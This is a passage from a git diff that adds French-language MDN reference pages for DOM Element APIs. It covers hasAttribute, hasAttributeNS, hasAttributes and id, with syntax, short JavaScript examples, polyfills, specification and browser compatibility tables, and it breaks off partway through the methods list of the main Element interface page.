+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Element.getElementsByTagNameNS")}}</p>
diff --git a/files/fr/web/api/element/hasattribute/index.html b/files/fr/web/api/element/hasattribute/index.html
new file mode 100644
index 0000000000..2f1ab2a913
--- /dev/null
+++ b/files/fr/web/api/element/hasattribute/index.html
@@ -0,0 +1,127 @@
+---
+title: element.hasAttribute
+slug: Web/API/Element/hasAttribute
+tags:
+  - API
+  - DOM
+  - Element
+  - Méthode
+  - Reference
+translation_of: Web/API/Element/hasAttribute
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode  <strong><code>Element.hasAttribute()</code></strong>  renvoie une <strong>valeur booléenne</strong> indiquant si l'élément courant possède l'attribut spécifié ou non.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>var <em>result</em></var> = <em><var>element</var></em>.hasAttribute(<em><var>name</var></em>);
+</pre>
+
+<dl>
+ <dt><code>result</code></dt>
+ <dd>récupère la valeur de retour <code>true</code> ou <code>false</code>.</dd>
+ <dt><code>name</code></dt>
+ <dd>est une chaine de caractères représentant le nom de l'attribut.</dd>
+</dl>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> foo <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"foo"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">if</span> <span class="punctuation token">(</span>foo<span class="punctuation token">.</span><span class="function token">hasAttribute</span><span class="punctuation token">(</span><span class="string token">"bar"</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token">// faire quelque chose</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Notes" name="Notes">Polyfill</h2>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="punctuation token">;</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>prototype<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    prototype<span class="punctuation token">.</span>hasAttribute <span class="operator token">=</span> prototype<span class="punctuation token">.</span>hasAttribute <span class="operator token">||</span> <span class="keyword token">function</span><span class="punctuation token">(</span>name<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">return</span> <span class="operator token">!</span><span class="operator token">!</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>attributes<span class="punctuation token">[</span>name<span class="punctuation token">]</span> <span class="operator token">&amp;&amp;</span>
+                  <span class="keyword token">this</span><span class="punctuation token">.</span>attributes<span class="punctuation token">[</span>name<span class="punctuation token">]</span><span class="punctuation token">.</span>specified<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">(</span>Element<span class="punctuation token">.</span>prototype<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>{{DOMAttributeMethods}}</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-hasattribute', 'Element.hasAttribute()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Dans {{SpecName('DOM3 Core')}}, déplacé de {{domxref("Node")}} à {{domxref("Element")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-ElHasAttr', 'Element.hasAttribute()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Pas de changement par rapport à {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-ElHasAttr', 'Element.hasAttribute()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>8.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/element/hasattributens/index.html b/files/fr/web/api/element/hasattributens/index.html
new file mode 100644
index 0000000000..d927bbc3c3
--- /dev/null
+++ b/files/fr/web/api/element/hasattributens/index.html
@@ -0,0 +1,54 @@
+---
+title: element.hasAttributeNS
+slug: Web/API/Element/hasAttributeNS
+tags:
+  - API
+  - Attributs
+  - DOM
+  - Element
+  - Méthodes
+translation_of: Web/API/Element/hasAttributeNS
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<h2 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h2>
+
+<p><code>hasAttributeNS</code> renvoie une valeur booléenne indiquant si l'élément courant possède ou non l'attribut spécifié.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval line-numbers  language-html"><code class="language-html">result =
+element.hasAttributeNS(
+namespace,
+localName)</code></pre>
+
+<dl>
+ <dt><code>result</code></dt>
+ <dd>Une valeur booléenne <code>true</code> ou <code>false</code>.</dd>
+ <dt><code>namespace</code></dt>
+ <dd>Une chaîne spécifiant l'espace de noms de l'attribut.</dd>
+ <dt><code>localName</code></dt>
+ <dd>Le nom de l'attribut.</dd>
+</dl>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="eval">// Vérifie que l'attribut existe
+// avant de définir une valeur
+var d = document.getElementById("div1");
+if (d.hasAttributeNS(
+        <span class="nowiki">"http://www.mozilla.org/ns/specialspace/"</span>,
+        "special-align")) {
+   d.setAttribute("align", "center");
+}
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>{{ DOMAttributeMethods() }}</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElHasAttrNS">DOM Level 2 Core: hasAttributeNS (en)</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-core/core.html#ID-ElHasAttrNS">traduction en français</a> (non normative)</small></li>
+</ul>
diff --git a/files/fr/web/api/element/hasattributes/index.html b/files/fr/web/api/element/hasattributes/index.html
new file mode 100644
index 0000000000..1699e0d651
--- /dev/null
+++ b/files/fr/web/api/element/hasattributes/index.html
@@ -0,0 +1,81 @@
+---
+title: element.hasAttributes
+slug: Web/API/Element/hasAttributes
+tags:
+  - API
+  - DOM
+  - Element
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/API/Element/hasAttributes
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>La méthode <strong><code>hasAttributes()</code></strong>, rattachée à l'interface {{domxref("Element")}}, renvoie une valeur booléenne indiquant si le nœud courant a au moins un attribut ou non.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:js">var result = element.hasAttributes();</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<dl>
+ <dt><code>result</code></dt>
+ <dd>contient la valeur de retour <code>true</code> ou <code>false</code>.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:js ">var foo = document.getElementById("foo");
+if (foo.hasAttributes()) {
+    // faire quelque chose avec 'foo.attributes'
+}</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush:js ">;(function(prototype) {
+    prototype.hasAttributes = prototype.hasAttributes || function() {
+        return (this.attributes.length &gt; 0);
+    }
+})(Element.prototype);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-element-hasattributes", "Element.hasAttributes()")}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Déplacé de l'interface {{domxref("Node")}} vers l'interface plus spécialisée {{domxref("Element")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','#ID-NodeHasAttrs','hasAttributes()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Pas de changement par rapport à {{SpecName("DOM2 Core")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','#ID-NodeHasAttrs','hasAttributes()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Définition initiale, sur l'interface {{domxref("Node")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Element.hasAttributes")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Element.attributes")}}</li>
+ <li>{{domxref("Element.hasAttribute()")}}</li>
+</ul>
diff --git a/files/fr/web/api/element/id/index.html b/files/fr/web/api/element/id/index.html
new file mode 100644
index 0000000000..2dd8fedbfb
--- /dev/null
+++ b/files/fr/web/api/element/id/index.html
@@ -0,0 +1,122 @@
+---
+title: element.id
+slug: Web/API/Element/id
+tags:
+  - API
+  - DOM
+  - Element
+  - Propriété
+  - Reference
+translation_of: Web/API/Element/id
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>La propriété  <strong><code>Element.id</code></strong> représente l'identifiant de l'élément, reflétant l' <strong><a href="https://developer.mozilla.org/fr/docs/Web/HTML/Attributs_universels/id">id</a></strong> global de l'attribut.</p>
+
+<p><span id="result_box" lang="fr"><span>Il doit être unique dans un document et est souvent utilisé pour extraire l'élément en utilisant {{domxref("document.getElementById","getElementById")}}.</span> <span>Les autres utilisations courantes de <code>id</code> comprennent l'utilisation de l'<a href="https://developer.mozilla.org/fr/docs/Web/CSS/S%C3%A9lecteurs_d_ID">ID de l'élément en tant que sélecteur</a> lors de la mise en forme du document avec <a href="https://developer.mozilla.org/fr/docs/Web/CSS">CSS</a>.</span></span></p>
+
+<div class="note">
+<p><strong><span lang="fr"><span>Note : </span></span></strong> <span id="result_box" lang="fr"><span>Les identifiants sont sensibles à la casse, mais vous devez éviter de créer des ID qui ne diffèrent que par la casse (voir <a href="https://developer.mozilla.org/fr/docs/Archive/Case_Sensitivity_in_class_and_id_Names">Sensibilité à la casse dans les noms de classe et d'identifiant</a>).</span></span></p>
+</div>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>idStr</em> = <em>elt</em>.id; // Obtenez l'identifiant
+<em>elt</em>.id = <em>idStr; // Définir l'identifiant</em></pre>
+
+<ul>
+ <li><code>idStr</code> est l'identifiant de l'élément.</li>
+</ul>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-id', 'id')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement par rapport à {{SpecName('DOM2 HTML')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-63534901', 'id')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Pas de changement par rapport à {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-63534901', 'id')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'attribut global <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Attributs_universels/id"><strong>id</strong></a> de DOM.</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/element/index.html b/files/fr/web/api/element/index.html
new file mode 100644
index 0000000000..aa58fc3ea5
--- /dev/null
+++ b/files/fr/web/api/element/index.html
@@ -0,0 +1,812 @@
+---
+title: element
+slug: Web/API/Element
+tags:
+  - API
+  - DOM
+  - Elements
+  - Interface
+  - Reference
+  - Web API
+translation_of: Web/API/Element
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><strong><code>Element</code></strong> est la classe de base la plus générale à partir de laquelle tous les objets d'un {{domxref("Document")}} héritent. <span>Il n'a que des méthodes et des propriétés communes à tous les types d'éléments.</span> <span>Les classes plus spécifiques héritent d'<code>Element</code>.</span> <span>Par exemple, l'interface {{domxref("HTMLElement")}} est l'interface de base pour les éléments HTML, tandis que l'interface {{domxref ("SVGElement")}} est la base de tous les éléments SVG.</span> <span>La plupart des fonctionnalités sont spécifiées plus bas dans la hiérarchie des classes.</span></p>
+
+<p>Les langages en dehors du domaine de la plate-forme Web, comme XUL via l'interface <code>XULElement</code>, implémentent également <code>Element</code>.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em><span>Hérite des propriétés de son interface parent {{domxref("Node")}} et, par extension, du parent de cette interface {{domxref("EventTarget")}}.</span> <span>Il implémente les propriétés de {{domxref("ParentNode")}}, </span></em> <em>{{domxref("ChildNode")}},</em> <em><span> {{domxref("NonDocumentTypeChildNode")}} et {{domxref("Animatable")}}.</span></em></p>
+
+<dl>
+ <dt>{{domxref("Element.attributes")}} {{readOnlyInline}}</dt>
+ <dd>Retourne un objet {{domxref("NamedNodeMap")}} contenant les attributs assignés de l'élément HTML correspondant.</dd>
+ <dt>{{domxref("Element.classList")}} {{readOnlyInline}}</dt>
+ <dd>Retourne une {{domxref("DOMTokenList")}} contenant la liste des attributs de classe.</dd>
+ <dt>{{domxref("Element.className")}}</dt>
+ <dd>est une {{domxref("DOMString")}} représentant la classe de l'élément.</dd>
+ <dt>{{domxref("Element.clientHeight")}} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Retourne un {{jsxref("Number")}}  représentant la hauteur intérieure de l'élément.</dd>
+ <dt>{{domxref("Element.clientLeft")}} {{readOnlyInline}}</dt>
+ <dd>Retourne un {{jsxref("Number")}}  représentant la largeur de la bordure gauche de l'élément.</dd>
+ <dt>{{domxref("Element.clientTop")}} {{readOnlyInline}}</dt>
+ <dd>Retourne un {{jsxref("Number")}} représentant la largeur de la bordure haut de l'élément.</dd>
+ <dt>{{domxref("Element.clientWidth")}} {{readOnlyInline}}</dt>
+ <dd>Retourne un {{jsxref("Number")}} représentant la largeur intérieure de l'élément.</dd>
+ <dt>{{domxref("Element.computedName")}} {{readOnlyInline}}</dt>
+ <dd>Retourne une {{domxref("DOMString")}}  contenant l'étiquette affichée pour l'accessibilité.</dd>
+ <dt>{{domxref("Element.computedRole")}} {{readOnlyInline}}</dt>
+ <dd>Retourne une {{domxref("DOMString")}} contenant le rôle ARIA qui a été appliqué à un élément particulier.</dd>
+ <dt>{{domxref("Element.id")}}</dt>
+ <dd>est une {{domxref("DOMString")}} représentant l'id <em>(identifiant)</em> de l'élément.</dd>
+ <dt>{{domxref("Element.innerHTML")}}</dt>
+ <dd>Est une {{domxref("DOMString")}} représentant la partie locale du nom qualifié de l'élément.</dd>
+ <dt>{{ domxref("Element.localName") }} {{readOnlyInline}}</dt>
+ <dd>une {{domxref("DOMString")}} représentant la partie locale du nom qualifié de l'élément.</dd>
+ <dt>{{domxref("Element.namespaceURI")}} {{readonlyInline}}</dt>
+ <dd>L'URI d'espace de noms de l'élément, ou <code>null</code> s'il n'est pas un espace de noms.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Dans Firefox 3.5 et versions antérieures, les éléments HTML ne sont pas dans un espace de noms. <span>Dans les versions ultérieures, les éléments HTML se trouvent dans l'espace de noms <code><a class="linkification-ext external external-icon" href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> <span lang="fr"><span> dans les arborescences HTML et XML. </span></span> {{gecko_minversion_inline("1.9.2")}}</span></p>
+</div>
+
+<dl>
+ <dt>{{domxref("NonDocumentTypeChildNode.nextElementSibling")}} {{readOnlyInline}}</dt>
+ <dd>est un {{domxref("Element")}} suivant immédiatement dans l'arbre celui donné, ou <code>null</code> s'il n'y a pas de noeud frère.</dd>
+ <dt>{{domxref("Element.outerHTML")}}</dt>
+ <dd>Est une {{domxref("DOMString")}} représentant le balisage de l'élément, y compris son contenu. <span>Lorsqu'il est utilisé en tant qu'initiateur, remplace l'élément par des nœuds analysés à partir de la chaîne donnée.</span></dd>
+ <dt>{{DOMxRef("Element.part")}}</dt>
+ <dd>Représente le ou les identifiants <code>part</code> de l'élément (c'est-à-dire définis en utilisant l'attribut <code>part</code>), retournés dans un {{domxref("DOMTokenList")}}.</dd>
+ <dt>{{domxref("Element.prefix")}} {{readOnlyInline}}</dt>
+ <dd>Une {{domxref("DOMString")}} représentant le préfixe de l'espace de noms de l'élément, ou <code>null</code> si aucun préfixe n'est spécifié.</dd>
+ <dt>{{domxref("NonDocumentTypeChildNode.previousElementSibling")}} {{readOnlyInline}}</dt>
+ <dd>Est un {{domxref("Element")}}, celui précédant immédiatement dans l'arbre l'élément donné, ou <code>null</code> s'il n'y a pas d'élément frère.</dd>
+ <dt>{{domxref("Element.scrollHeight")}} {{readOnlyInline}}</dt>
+ <dd>Retourne un {{jsxref("Number")}} représentant <span class="short_text" id="result_box" lang="fr"><span>la hauteur de vue de défilement d'un élément.</span></span></dd>
+ <dt>{{domxref("Element.scrollLeft")}}</dt>
+ <dd>Est un {{jsxref("Number")}} représentant <span class="short_text" id="result_box" lang="fr"><span>le décalage de défilement gauche de l'élément.</span></span></dd>
+ <dt>{{domxref("Element.scrollLeftMax")}} {{non-standard_inline}} {{readOnlyInline}}</dt>
+ <dd>Retourne un {{jsxref("Number")}}  représentant le décalage maximum de défilement gauche possible pour l'élément.</dd>
+ <dt>{{domxref("Element.scrollTop")}}</dt>
+ <dd>Est un {{jsxref("Number")}} représentant le décalage de défilement haut de l'élément.</dd>
+ <dt>{{domxref("Element.scrollTopMax")}} {{non-standard_inline}} {{readOnlyInline}}</dt>
+ <dd>Retourne un {{jsxref("Number")}} représentant le décalage maximum de défilement haut possible pour l'élément.</dd>
+ <dt>{{domxref("Element.scrollWidth")}} {{readOnlyInline}}</dt>
+ <dd>Retourne un {{jsxref("Number")}} représentant la largeur de vue de défilement de l'élément.</dd>
+ <dt>{{domxref("Element.shadowRoot")}} {{readOnlyInline}}</dt>
+ <dd>Renvoie la racine shadow la plus jeune hébergée par l'élément.</dd>
+ <dt>{{DOMxRef("Element.openOrClosedShadowRoot")}} {{Non-standard_Inline}}{{readOnlyInline}}</dt>
+ <dd>Retourne la racine fantôme qui a l'élément pour hôte, qu'elle soit ouverte ou fermée. <strong>Disponible seulement pour les <a href="https://wiki.developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions">WebExtensions</a>.</strong></dd>
+ <dt>{{domxref("Element.slot")}} {{experimental_inline}}</dt>
+ <dd>Renvoie le nom de l'emplacement du DOM shadow attaché à l'élément. <span>Un emplacement (<em>slot</em>) est un espace réservé dans un composant web que les utilisateurs peuvent remplir avec leur propre balisage.</span></dd>
+ <dt>{{domxref("Element.tabStop")}} {{non-standard_inline}}</dt>
+ <dd>Est un {{jsxref("Boolean")}} indiquant si l'élément peut recevoir un focus d'entrée via la touche de tabulation.</dd>
+ <dt>{{domxref("Element.tagName")}} {{readOnlyInline}}</dt>
+ <dd>Retourne une {{domxref("String")}} avec le nom de la balise pour l'élément donné.</dd>
+ <dt>{{domxref("Element.undoManager")}} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Retourne le {{domxref("UndoManager")}} associé à l'élément.</dd>
+ <dt>{{domxref("Element.undoScope")}} {{experimental_inline}}</dt>
+ <dd>Est un {{jsxref("Boolean")}} indiquant si l'élément <span class="short_text" id="result_box" lang="fr"><span>est un hôte de portée d'annulation, ou non.</span></span></dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong>  DOM niveau 3 définit <code>namespaceURI</code>, <code>localName</code> et <code>prefix </code>sur l'interface {{domxref("Node")}}. Dans DOM4, ils ont été déplacés dans <code>Element</code>.</p>
+
+<p>Ce changement est implémenté dans Chrome depuis la version 46.0 et Firefox à partir de la version 48.0.</p>
+</div>
+
+<h3 id="Propriété_inclue_dans_Slotable">Propriété inclue dans "Slotable"</h3>
+
+<p><em>L'interface <code>Element</code> inclut la propriété suivante, définie sur le "mixin" </em> <em>{{domxref("Slotable")}}. </em></p>
+
+<dl>
+ <dt>{{domxref("Slotable.assignedSlot")}}{{readonlyInline}}</dt>
+ <dd>renvoie un {{domxref("HTMLSlotElement")}} représentant le {{htmlelement("slot")}} sur lequel le noeud est inséré.</dd>
+</dl>
+
+<h2 id="M.C3.A9thodes" name="M.C3.A9thodes">Méthodes</h2>
+
+<p><em>Hérite des méthodes de son parent {{domxref ("Node")}} et de son propre parent {{domxref ("EventTarget")}}, et implémente celles de {{domxref("ParentNode")}}, </em> <em><em>{{domxref("ChildNode")}}</em></em> <em><span lang="fr">, {{domxref("NonDocumentTypeChildNode")}} et {{domxref("Animatable")}}.</span></em></p>
+
+<dl>
+ <dt>{{domxref("EventTarget.addEventListener()")}}</dt>
+ <dd>enregistre sur l'élément un gestionnaire d'évènements propre à un type d'évènements.</dd>
+ <dt>{{domxref("Element.attachShadow()")}}</dt>
+ <dd>Attache un arbre DOM shadow à l'élément spécifié et renvoie une référence à sa {{domxref("ShadowRoot")}} (<em>racine</em>).</dd>
+ <dt>{{domxref("Element.animate()")}} {{experimental_inline}}</dt>
+ <dd>Une méthode raccourcie pour créer et exécuter une animation sur un élément. <span class="short_text" id="result_box" lang="fr"><span>Renvoie l'instance d'objet Animation créée.</span></span></dd>
+ <dt>{{domxref("Element.closest()")}}</dt>
+ <dd>Retourne l'{{domxref("Element")}} qui est l'ancêtre le plus proche de l'élément courant (ou l'élément courant lui-même) qui correspond aux sélecteurs donnés dans le paramètre.</dd>
+ <dt>{{domxref("Element.createShadowRoot()")}} {{experimental_inline}} {{deprecated_inline()}}</dt>
+ <dd>Crée un <a href="https://developer.mozilla.org/en-US/docs/Web/Web_Components/Shadow_DOM">shadow DOM</a> sur l'élément, <span class="short_text" id="result_box" lang="fr"><span>le transforme en un hôte fantôme.</span> <span>Renvoie un </span></span> {{domxref("ShadowRoot")}}.</dd>
+ <dt>{{DOMxRef("Element.computedStyleMap()")}} {{Experimental_Inline}}</dt>
+ <dd>Retourne une interface {{DOMxRef("StylePropertyMapReadOnly")}} fournissant une représentation en lecture seule d'un bloc de déclaration de règles CSS. Il s'agit d'une alternative à {{DOMxRef("CSSStyleDeclaration")}}.</dd>
+ <dt>{{domxref("EventTarget.dispatchEvent()")}}</dt>
+ <dd>Répartit un évènement sur ce noeud dans le DOM et renvoie un {{jsxref("Boolean")}} qui indique qu'au-moins un gestionnaire ne l'a pas annulé.</dd>
+ <dt>{{domxref("Element.getAnimations()")}} {{experimental_inline}}</dt>
+ <dd>Renvoie un tableau d'objets Animation actuellement actifs sur l'élément.</dd>
+ <dt>{{domxref("Element.getAttribute()")}}</dt>
+ <dd>Retrouve la valeur de l'attribut nommé depuis le noeud courant et le retourne comme un {{jsxref("Object")}}.</dd>
+ <dt>{{domxref("Element.getAttributeNames()")}}</dt>
+ <dd>Retourne un tableau des noms d'attribut de l'élément courant.</dd>
+ <dt>{{domxref("Element.getAttributeNS()")}}</dt>
+ <dd>Retrouve la valeur de l'attribut avec le nom spécifié et l'espace de noms, depuis le noeud courant, et le retourne comme un {{jsxref("Object")}}.</dd>
+ <dt>{{domxref("Element.getBoundingClientRect()")}}</dt>
+ <dd>Retourne la taille d'un élément et ses positions relatives au "viewport".</dd>
+ <dt>{{domxref("Element.getClientRects()")}}</dt>
+ <dd>Retourne une collection de rectangles qui indiquent les rectangles de délimitation pour chaque ligne de texte dans un client.</dd>
+ <dt>{{domxref("Element.getElementsByClassName()")}}</dt>
+ <dd>Retourne une {{domxref("HTMLCollection")}} qui contient tous les descendants de l'élément courant qui possèdent la liste des classes donnée dans le paramètre.</dd>
+ <dt>{{domxref("Element.getElementsByTagName()")}}</dt>
+ <dd>Renvoie une {{domxref ("HTMLCollection")}} contenant tous les éléments descendants, d'un nom de tag particulier, de l'élément en cours.</dd>
+ <dt>{{domxref("Element.getElementsByTagNameNS()")}}</dt>
+ <dd>Renvoie une {{domxref ("HTMLCollection")}} contenant tous les éléments descendants, d'un nom de balise particulier et d'un espace de nom, de l'élément en cours.</dd>
+ <dt>{{domxref("Element.hasAttribute()")}}</dt>
+ <dd>Retourne un {{jsxref("Boolean")}} indiquant si l'élément a un attribut spécifié ou non.</dd>
+ <dt>{{domxref("Element.hasAttributeNS()")}}</dt>
+ <dd>Retourne un {{jsxref("Boolean")}} indiquant si l'élément a un attribut spécifié, dans l'espace de noms spécifié, ou non.</dd>
+ <dt>{{domxref("Element.hasAttributes()")}}</dt>
+ <dd>Retourne un {{jsxref("Boolean")}} indiquant si l'élément a un ou plusieurs attributs HTML présents.</dd>
+ <dt>{{DOMxRef("Element.hasPointerCapture()")}}</dt>
+ <dd>Indique si l'élément sur lequel la méthode est invoquée a  une capture de pointeur pour le pointeur spécifié par son identifiant.</dd>
+ <dt>{{domxref("Element.insertAdjacentElement")}}</dt>
+ <dd>Insère un noeud d'élément donné à la position donnée par rapport à l'élément sur lequel il a été invoqué.</dd>
+ <dt>{{domxref("Element.insertAdjacentHTML")}}</dt>
+ <dd>Analyse le texte au format HTML ou XML et insère les nœuds résultants dans l'arborescence dans la position indiquée.</dd>
+ <dt>{{domxref("Element.insertAdjacentText")}}</dt>
+ <dd>Insère un noeud de texte donné à la position donnée par rapport à l'élément qui l'invoque.</dd>
+ <dt>{{domxref("Element.matches()")}}</dt>
